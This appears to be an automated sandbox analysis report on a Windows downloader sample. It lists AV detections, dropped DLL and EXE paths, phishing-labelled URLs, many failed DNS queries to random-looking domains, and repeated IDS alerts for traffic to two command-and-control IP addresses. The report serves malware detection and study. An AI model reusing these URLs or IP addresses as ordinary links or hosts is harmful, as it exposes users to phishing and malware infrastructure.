Source: http://utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFAEDD	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AF	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\ehmehut.dll	Avira: detection malicious, Label: TR/Dldr.Agent.swim
Source: C:\Users\user\AppData\Roaming\tmp5C6F.tmp	Avira: detection malicious, Label: TR/Downloader.Gen
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Avira: detection malicious, Label: TR/Downloader.Gen

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\osgobah.dll	ReversingLabs: Detection: 41%
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	ReversingLabs: Detection: 84%
Source: C:\Windows\SysWOW64\ehmehut.dll	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: 5SGOAKv7AR.exe	Virustotal: Detection: 89%			Perma Link
Source: 5SGOAKv7AR.exe	ReversingLabs: Detection: 84%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 5SGOAKv7AR.exe

Joe Sandbox ML: detected

Source: 5SGOAKv7AR.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Networking

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: ocjaqgnsqfgp.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zitfawcgy.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mcesyrpjcoxcu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: unmzmwhqqjn.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kvdvmc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jwimhacdt.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iksgub.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ipemvw.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: chafwe.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: exmqudoi.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yiqqmjekm.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mokurs.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wcwxa.ws replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qodpaim.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eqcdijeomajywh.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bgrauma.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gdogxorcsmzygq.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wuduqoeivyo.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cjzhc.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kuikdooag.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: znful.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wheasiwvsew.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dekso.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oukpcbtqgqwoa.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kccsaqgsvsa.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ovonq.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: elymkl.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rmydkqgvcvhez.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnaudewcuibyam.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhncbseaikqo.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cgengcwnm.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rujygesrs.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: akpzumsigtkmmw.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: umoezuoxkf.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: owzuhlkauoavrg.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imctsikhqfmox.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dqagvyickrk.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ysbgwpqywiujo.ph replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: igdqs.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: canqk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iceqeuhpebkqmj.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iyeyuemksorve.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ukikcexuo.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hyuyvkcxdqtqwe.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kuchksikknk.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: quzgmnyiqyqoez.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yebwfcrq.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zaspgiv.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssgum.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eimef.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iefcm.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsqwieaqy.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xugukhmkcsvw.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kamqc.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iuzmbo.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gmomhogqcqo.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ecumwls.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dqeqoagqqqrc.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uesvxrdym.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xytag.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uryaqqyx.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mtvjuwi.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ulwbq.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mauzahxbhdyxg.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: audewc.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qdukhasgmus.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gekaeekv.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fbkzqsqod.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kcscgoyucqmkq.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ylmed.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oooaehqkyge.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uwkmq.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mpdiexrzqka.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ahieeic.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kuhoi.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ihigogb.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nnwivnbqu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rivawyyqgqsd.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: igeeqesxawmwom.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lhorellqnmqnh.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qaeebwmdz.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yfcalywej.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kikcvucesim.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: owayaiofn.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cwgbto.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ioiqqswzikfqu.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: taesmoqeisc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: niror.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zmiqslgt.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: btnmut.ph replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: pwoawmujdqwzs.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xqeappl.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kowrxnw.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hvvgycugwh.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iftwbsbhi.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cmujuqlmdkg.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wfnsamu.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ggaksi.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: daqpka.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qcqdo.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gmbcqqwly.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nuijfgm.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bgneigegyqofu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yxnavcmgurrhw.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: loucml.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kcvsysu.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cczqvvmimawca.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ywynxne.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: raqumygq.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pdrwqa.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wkuzdqsoiwy.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: arpjmckwt.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dqfudtqqvpha.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oxcua.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gimamgpmfgycu.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yuyoyuv.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uwygduzzqaosv.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oymyeynqyqewcs.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oigqdcmjr.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gmxmotaygsg.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sgfpiiwog.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xrkwbwyqovesj.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ithzdymit.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uutgmfehaouhp.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqemsidggcmy.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: goejwtwioknhq.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mdabyu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nukeecapkuanq.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: owpuc.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yktgacfquni.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eymkhoeguh.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xnzakgk.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aynyrapy.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gyjdfapyghm.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eksogaqiy.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiluyai.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kpntwewjtai.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kwfciphqs.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nswqqljcwe.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: menrzwzda.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: blqcoo.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uduywyte.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: numuqgoyj.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: udelwggnpcs.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uvwabzkyifixf.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: useeru.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: okocqpi.tk replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 218

Source: global traffic

DNS traffic detected: number of DNS queries: 218

Source: Joe Sandbox View	IP Address: 64.70.19.203 64.70.19.203
Source: Joe Sandbox View	IP Address: 64.70.19.203 64.70.19.203
Source: Joe Sandbox View	IP Address: 172.234.222.138 172.234.222.138

Source: Joe Sandbox View

ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:49717 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:49730 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:60144 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:49727 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:49714 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:60156 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:60159 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61365 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:49720 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:49723 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61377 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61396 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61362 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61489 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:60150 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:60147 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61383 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61420 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61386 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61390 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:60153 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61356 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:49711 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61399 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61426 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61495 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61402 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61405 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61359 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61435 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61480 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61450 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61414 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56468 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61465 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61504 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61432 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61353 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55706 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61477 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61371 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61438 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55703 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55736 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61486 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56444 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61447 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61471 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61408 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61429 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55718 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61417 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56501 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61444 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61380 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61441 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61393 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55700 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61368 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56441 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55475 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61374 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61430 -> 45.79.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55712 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61459 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61448 -> 45.79.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61456 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61492 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61498 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56480 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55721 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56504 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61522 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61474 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61501 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55709 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61510 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61462 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56525 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61483 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61519 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56474 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55739 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56462 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56438 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55730 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56465 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56450 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55724 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:62902 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56477 -> 172.234.222.138:80
